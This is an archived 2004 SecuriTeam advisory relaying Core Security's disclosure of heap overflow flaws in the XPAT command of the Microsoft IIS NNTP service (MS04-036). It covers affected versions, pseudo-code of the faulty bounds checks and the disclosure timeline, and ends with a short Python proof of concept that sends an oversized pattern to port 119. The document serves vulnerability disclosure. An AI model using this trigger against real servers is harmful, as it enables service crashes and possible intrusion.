

Securiteam: [NT] IIS NNTP Service XPAT Command Vulnerabilities (PoC)

[NT] IIS NNTP Service XPAT Command Vulnerabilities (PoC)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-10/0046.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/13/04

To: list@securiteam.com

Date: 13 Oct 2004 17:31:28 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

IIS NNTP Service XPAT Command Vulnerabilities (PoC)

SUMMARY

Microsoft IIS provides organizations using it with the ability to service and route news using the Network News Transfer Protocol (NNTP) with the Microsoft NNTP service listening on port 119/tcp, and optionally on port 563/tcp for SSL encrypted connections.

Multiple vulnerabilities were found in Microsoft IIS that could allow an attacker to execute arbitrary commands on vulnerable systems running the Microsoft IIS NNTP service.

DETAILS

Vulnerable Components:

- * Microsoft Windows NT Server 4.0 Service Pack 6a NNTP component
- * Microsoft Windows 2000 Server Service Pack 3 NNTP component
- * Microsoft Windows 2000 Server Service Pack 4 NNTP component
- * Microsoft Windows Server 2003 NNTP Component
- * Microsoft Windows Server 2003 64-Bit Edition NNTP Component

Immune Systems:

Securiteam: [NT] IIS NNTP Service XPAT Command Vulnerabilities (PoC)

- * Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6
- * Microsoft Windows 2000 Professional Service Pack 3 and Microsoft Windows 2000 Professional Service Pack 4
- * Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2
- * Microsoft Windows XP 64–Bit Edition Service Pack 1
- * Microsoft Windows XP 64–Bit Edition Version 2003
- * Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and Microsoft Windows Millennium Edition (ME)
- * Microsoft Exchange Server 5.0 Service Pack 2
- * Microsoft Exchange Server 5.5 Service Pack 4

The Network News Transfer Protocol supports a number of different extensions. Extensions are described in RFC 2980 [2]. This advisory is focused on the XPAT command, which is used to retrieve specific headers from specific articles based on pattern matching on the contents of the header.

The syntax of the XPAT command is:

```
XPAT header range|<message-id> pat [pat...]
```

The XPAT command doesn't require previous user authentication. The vulnerabilities were found in the parser and query translator of the XPAT command within the Network News Transfer Protocol service. The NNTP service translates calls to the XPAT command into an internal query format. As stated in its calling syntax, it accepts multiple patterns. Patterns as well as other parameters are delimited by tab and space characters.

The vulnerabilities found reside in the methods that take care of parsing user-supplied ASCII values and append them translated to 2-byte characters, as part of an internal query buffer. Pseudo code is given below which resembles the vulnerable piece of code in the NNTP service.

The NNTP service allocates a 4000 bytes buffer that it uses to store the translated XPAT query to a 2-byte character format. It keeps track of how many words are left in the buffer using a global counter initially set to the value of '2000'. A pointer to the buffer as well as a pointer to the counter are used in every call to the vulnerable string-appending methods which take care of updating those values for any future calls.

The methods differ if called for user-supplied pattern data or internal query language keywords. In both cases, incorrect bounds checking is performed, leading to off-by-two, off-by-four and heap overflow vulnerabilities. The following example demonstrates the miscalculations made in the method used to append internal query language keywords to the global destination buffer.

```
// The wstringappendkeywords function.  
// input:
```

Securiteam: [NT] IIS NNTP Service XPAT Command Vulnerabilities (PoC)

```
// pdestbuf – a pointer to pointer to a wchar destination buffer
// srcbuf – a pointer to a char source buffer
// spaceleft – a pointer to an integer with the amount of bytes left
//
// output:
// pdestbuf – the pointer to pointer is updated to point after
// the copied bytes
// spaceleft – the integer is updated subtracting the amount of
// copied bytes.
//
// returns:
// 1 on OK
// 0 on FAIL – if there isn't enough space in the destination buffer

int wstringappendkeyword (short **pdestbuf, char *srcbuf, unsigned int
*spaceleft)
{
    unsigned int count = 0;
    short *destbuf = *pdestbuf;

    if (srcbuf[count] != 0x00) {

        do {
            if (count > *spaceleft) {
                //...
                //not_enough_space handling code
                //...
                return 0;
            }

            destbuf[count] = (short)srcbuf[count];
            count++;

        } while(srcbuf[count] != 0x00);
    }

    *spaceleft -= count;
    *pdestbuf += count;

    return 1;
}
```

As seen above, the function is checking 'count' to be only bigger than the amount of words left in the destination buffer. In the case of count being equal to the value pointed by the 'spaceleft' variable, 2 bytes would be written past the end of destbuf's buffer. In its last iteration, the loop will check 'count' to be bigger than the amount of words and fail, aborting the whole call to the command.

Securiteam: [NT] IIS NNTP Service XPAT Command Vulnerabilities (PoC)

By passing a specific amount of bytes in the 'srcbuf' buffer, an attacker could break free from the copyloop before the 'spaceleft' check is done; decrementing the 'spaceleft' variable. Subtracting one from zero causes an unsigned integer variable to wrap under to 0xFFFFFFFF, bypassing the existing defective bounds check. This way, any further attempts to copy data into the internal query buffer using this function will lead into a controllable heap overflow.

Note: The only barrier for exploitation is that this function is only called for appending hardcoded query language keywords to the buffer. This is where the next vulnerable method takes place.

The rest of the vulnerabilities reside in the method used for translating and appending user-supplied patterns. The situation is similar to the one shown above except that the 'srcbuf' pointer holds data that is 100% controllable by an attacker and that it's called sequentially for each supplied pattern. In addition, this procedure permits an attacker to overwrite 4 bytes past the end of 'destbuf' buffer introducing an off-by-four vulnerability. Pseudo code for illustration purposes is given below:

```
// The wstringappendpatterns function.
// input:
// pdestbuf – a pointer to pointer to a wchar destination buffer
// srcbuf – a pointer to a char source buffer
// spaceleft – a pointer to an integer with the amount of bytes left
//
// output:
// pdestbuf – the pointer to pointer is updated to point after the
// copied bytes
// spaceleft – the integer is updated subtracting the amount of
// copied bytes.
//
// returns:
// 1 on OK
// 0 on FAIL – if there isn't enough space in the destination buffer

int wstringappendpatterns (short **pdestbuf, char *srcbuf, unsigned int
*spaceleft)
{
    unsigned int count = 0;
    short *destbuf = *pdestbuf;

    while (srcbuf[count] != 0x00) {

        if (count > *spaceleft) {
            //...
            //not_enough_space handling code
            //...
            return 0;
        }
    }
}
```

Securiteam: [NT] IIS NNTP Service XPAT Command Vulnerabilities (PoC)

```
if (srcbuf[count] == '[') {
    destbuf[count] = (short)'\';
    count++;
    destbuf[count] = (short)'\';

} else {
    destbuf[count] = (short)srcbuf[count];
}

count++;
}

*spaceleft -= count;
*ptestbuf += count;

return 1;
}
```

Once again, having decremented spaceleft 'count' times, an attacker could make the value of the global remaining-words counter wrap under to 0xFFFFFFFF or 0xFFFFFFFFE. By crafting multiple patterns of a specific length, an attacker could cause a controllable Heap overflow.

Vendor Status:

Microsoft is already aware of the problem and a fix has been released. It can be found in the official Microsoft MS04-036 advisory, located at <http://www.microsoft.com/technet/security/bulletin/MS04-036.msp> <<http://www.microsoft.com/technet/security/bulletin/MS04-036.msp>>

Disclosure Timeline:

2004-08-16 Core Security Technologies sent draft advisory to vendor
2004-08-16 Microsoft MSRC acknowledgement received
2004-10-12 Microsoft releases a fix (MS04-036)

Proof Of Concept

A proof of concept code written in Python that demonstrates the issue is listed below.

```
#—
# IIS NNTP Service XPAT command heap overflow proof of concept
#
# Author:
# Lucas Lavarello (lucas at coresecurity dot com)
# Juliano Rizzo (juliano at coresecurity dot com)
#
# Copyright (c) 2001-2004 CORE Security Technologies, CORE SDI Inc.
# All rights reserved.
#
# THIS SOFTWARE IS PROVIDED ``AS IS" AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
```

Securiteam: [NT] IIS NNTP Service XPAT Command Vulnerabilities (PoC)

```
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR  
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF  
# THIS SOFTWARE  
#  
# http://www.coresecurity.com  
#—
```

```
from socket import *  
  
host = "127.0.0.1"  
pat = "C"*1946 + " " + "X"*10  
  
newsgroup = "control.newsgroup"  
  
sock = socket(AF_INET, SOCK_STREAM)  
sock.connect((host, 119))  
  
print sock.recv(512)  
  
sock.send("group %s\x0d\x0a" % newsgroup)  
  
print sock.recv(512)  
  
sock.send("xpat From 1-9 %s \x0d\x0a" % pat)
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:lucas@coresecurity.com>>
Lucas Lavello and <juliano@coresecurity.com> Juliano Rizzo.
The original article can be found at:
<<http://www.coresecurity.com/common/showdoc.php?idx=420&idxseccion=10>>
<http://www.coresecurity.com/common/showdoc.php?idx=420&idxseccion=10>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.